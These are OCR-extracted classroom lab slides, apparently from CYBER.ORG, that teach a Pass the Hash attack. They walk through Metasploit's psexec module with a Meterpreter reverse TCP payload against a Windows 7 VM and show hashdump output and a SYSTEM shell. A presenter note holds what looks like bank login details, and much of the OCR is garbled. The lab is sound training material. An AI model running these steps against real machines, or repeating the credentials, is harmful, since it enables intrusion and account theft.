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Pass the Hash Materials

 Materials needed
o Kali Linux Virtual Machine
 Windows 7 Virtual Machine

» Software Tools used
* Metasploit Framework
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Prerequisites

* Be sure you have explored and understand the following labs.

* This lab makes use of:
* Privilege Escalation Lab
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Objectives Covered

« Security+ Objectives (SY0-701)
* Objective 2.4 - Given a scenario, analyze indicators of malicious
activity.
« Application attacks
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What is a Pass the Hash Attack?

» A Pass the Hash attack is when a
person gains access to a system
using a hashed password

 The attacker does not need to know the

unencrypted, plaintext password.

* Why is this dangerous?

 Why must a person or organization
protect their password hashes?

mstb exploit( ) > run

Started reverse TCP handler on 10.15.4.209:1717

10.15.77.102:445 - Connecting to the server...

10.15.77.102:445 - Authenticating to 10.15.77.102:445 as user 'Administrator'...

10.15.77.102:445 - Selecting PowerShell target

10.15.77.102:445 - Executing the payload...
[+] 10.15.77.102:445 - Service start timed out, OK if running a command or non-service exe
cutable...

Sending stage (200774 bytes) to 10.15.77.102

Meterpreter session 1 opened (10.15.4.209:1717 -> 10.15.77.102:49225) at 2024-04-30 19
:00:16 +0000

meterpreter > |}
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Presenter Notes
Presentation Notes
Bank: Chase
Username: jsmith17�Password: @pp13s33d


Pass the Hash Lab Overview

1. Set up Environments

2. Find the Necessary Information
3. Initialize Metasploit

4. Start the psexec Exploit

5. Examine the psexec Options

6. Find SMBUser and SMBPass
/. Set psexec Options

8. Set the Payload

9. Set Payload Options

10.Pass the Hash
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Set up Environments

* Log into your range

* Open the Kali Linux and Windows 7 Environments
* You should be on your Kali Linux Desktop
* You should also be on your Windows 7 Desktop
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Weaken the Windows Firewall

Control Panel (1)

] = 7
5 Network and Sharing Center

 Hit the start button
« Search for “Network and Sharing Center”
* Open the Network and Sharing Center

- See more results

| netuwork and sharing center 3 Shutdown |»

o @ ) 0O @

fanel Home View your basic network information and set up connections

adapter settings .A _ % - q

advanced sharing settings STUDENT-PC Netv‘\mrk 8 Intey
(This computer)

View your active networks

Change from “Public e —

- . jons: [
‘--l_“/’ Home network Connections: [ Local

network” to “Home network” R

i. Set up a new connection or network.
=" Setup a wireless, broadband, dial-up, ad hoc, or VPN connection; or setup

-s. Connect to a network
Connect or reconnect to a wireless, wired, dial-up, or VPN network connecti

N a Choose homegroup and sharing options
Access files and printers located on other network computers, or change sh

‘ :"‘ Troubleshoot problems

| -—
" Diagnose and repair network problems, or get troubleshooting information. ‘ Y B - R o R G
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Find Necessary Information

 Find the IP Address of Kali and Windows

* Write these down
* If necessary, refer to the ifconfig lab to learn how to get IP Addresses

* Verify Connectivity
* |[f necessary, refer to the ping Lab to verify connectivity

* Locate the Windows Password Hashes / MUSTHAVER

« Have the hashes handy for later in the lab

» Refer to the privilege escalation lab to locate the Windows Password Hashes
(end of the lab)
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Initialize Metasploit

 Start Metasploit with the following command:
sudo msfconsole

* You should notice that Metasploit console has started and you
should now see:

msf6 >

metasploit v6.1.6-dev
2165 exploits - 1148 auxiliary - 368 post

= = =

592 payloads - 45 encoders - 10 nops
[ 8 evasion

e

Metasploit tip: View missing module options with show

msf6 > [
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Start the psexec Exploit

« Search for the exploit:
search psexec

» Find where the psexec exploit is located

* Open the exploit:

use exploit/windows/smb/psexec

« Check your psexec location

The psexec exploit

msf6 > search psexec

Matching Modules

# Name

@ auxiliary/scanner/smb/impacket/dcomexec
1 exploit/windows/smb/msl7 010 psexec

alRomance/EternalSynergy/EternalChampion SMB Remote
2 auxiliary/admin/smb/ms1l7 010 command
aeRamance/EternalSynergy/EternalChampion SMB Remote
3 amelliary/scanner/smb/psexec loggedin users
ows Authenticatee=logged In.llsers Fnumeration
4  exploit/windows)smi/psexec
ows Authenticated User Code Execution
5 auxiliary/admin/smb/pseXec ntdsgrab
t And SYSTEM Hive Download Utility

6 exploit/windows/local/current user psexec
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Examine psexec Exploit Options

« Show the options for the exploit
* show options

 \What all do we need to enter?
° RHOST msf6 exploit( ) > show options

Module options (exploit/windows/smb/psexec):

o SN.[BUser \EE Current Setting Required Description
RHOSTS The target host(s), see
d SMBPaSS d7/metasploit-framework

RPORT The SMB service port (T
SERVICE DESCRIPTION Service description to
pretty listing
SERVICE DISPLAY NAME The service display nam
SERVICE NAME The service name
SMBDomain . The Windows domain to u
SMBPass The password for the sp
SMBSHARE The share to connect to
(ADMIN$,CS,...) or a no
hare

CYB=R.ORG

THE ACADEMIC INITIATIVE OF THE CYBER INNOVATION CENTER



SM-what?

« Server Message Block (SMB) is a network protocol for
Windows.

 SMB is what allows Windows networks to see and share
folders, print servers, and other network resources.

« SMB is a commonly exploited attack vector on Windows.

« Used in the 2014 Sony Pictures attack and the WannaCry ransomware
attacks.

 Typically needs a username and password to authenticate with.
 Once “In”, it can share other account details... as we’'ll see.
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Find SMBUser and SMBPass

« Examine your password hashes from Windows

SMBUser

R R e S L e e S

r;;\fnrnrc'far ~ h:chdump | . [ "
Administrator:50€:aad3b435b51404eeaad3b435b51404ee:de26cce0356891a4: PICk the user Wlth
BdCRUPAUMLIT: TUUSTaad3b43505 14v4eea d3b435pn5 1404ee:VaTc4do/bbub24cad!

Goofy:1008:aad3b435b51404eeaad3ba35b5 Iedee : 6e8cad6f2c217c3c6fF1d39" th e mOSt priVi IegeS

Guest:501:aad3b435b51404eeaad3b435b51404ee:20391dfc6690cc38547d74b8I|

HomeGroupUser$:1002:aad3b435b51404eeaad3b435b51404ce: c5eb2c67 9T 14« H . h I
Infosec:1004:aad3b435b51404eeaad3b435b51404ee:8846F7caac8th117ad06bq [
Mickey:1006:aad3b435b51404eeaad3b435b51404ee:e9bb421b450anale93441el « ere’ It S Ou d” be
Minnie:1007:aad3b435b51404eeaad3b435b51404ee:1c2f7f3b20a7a3c512w2cl
windows:1003:aad3b435b51404eeaad3b435b51404ee:8846F7eaee8Tbl17ad06bi Ad m I n IStFatOF

.

R e e R B i

The Password SMBPass
Hashes
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Set psexec Options

o Set the RHOST
set RHOST Windows IP address

e Set the SMBPass
set SMBPASS Windows_SMBPass

e Set the SMBUser
set SMBUSER Administrator

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:de26cce®356891a
4a020e7c4957afc72:::

BackupAdmin: 1005z aad3b435b51404eeaad3b435b51404ee:0afc4d67600b24ca

d33760afbea39fd4 "y

Goofy:1008:aad3b4350514044eaad3b435b51404ee:0e8calbf2c21/c3ch6Tf1d3
9fd07c1165:::
Guest:501:aad3b435b51404eeand3b435b51404ee:2b391dfc6690cc38547d74b

Please Note: The smbpass to paste goes
from “aad” to “c72” in this example
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Set the Payload

« Set the payload

» Use the reverse tcp payload
set PAYLOAD windows/x64/meterpreter/reverse tcp

« Show the options
show options

* We need to set the following:
msfe exploit( ) = set PAYLOAD windows/xBd4/meterpreter/reverse tcp
i LPORT P& = Windows/x6d/meterpret

ms 6 exploit(

Payload options {(windows/meterpreter/reverse_tcp):

Name Current Setting Required Description

EXITFUNC thread yes Exit technique (A
LHOST 10.15.123.45 yes The Listen addres
LPORT yes The listen port
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Set Payload Options

¢ Set the LPORT TEBETEN?LE; ) > set LPORT 17
set LPORT 1717

* Check all the options

show options
« Make sure everything is correct!
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msfé exploit( } = run

Pass the Hash

 Use the run command to run the attack i ;:::: 5uma:;.::r;;;1;'.'; i, 0

'-'EIEI_thg F‘uuF-r..hn-LL tarun—-’r
;- E v

°* run 10.1:
'1-'r||i1 Ing T
Meterprete

* Look at the credentials: I
* getuld c - NT AUTHORITY%SYSTEM
. mete eter = sysinfo
° SySlnfo 1 S'“-IDIENI_ECI:E-.I Build 7601, Service Pack 1}).

> Windows 7
: x64

: en_US

° WhO are yOU Iogged in aS? Doeatn anguage : WORKGROUP

Logged On Users : 2
Meterpreter 1 xbd S windows
meterpreter = i
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How to Defend Against a Pass the Hash attack?

 Very hard to defend against once hashes are compromised

 How were you able to gain access to the hashes?
« How can you protect your hashes?

* Do not use the same admin passwords on different stations

« Why is it dangerous to use the same admin log-in of different
workstations?

* How else can you defend against a pass the hash attack?
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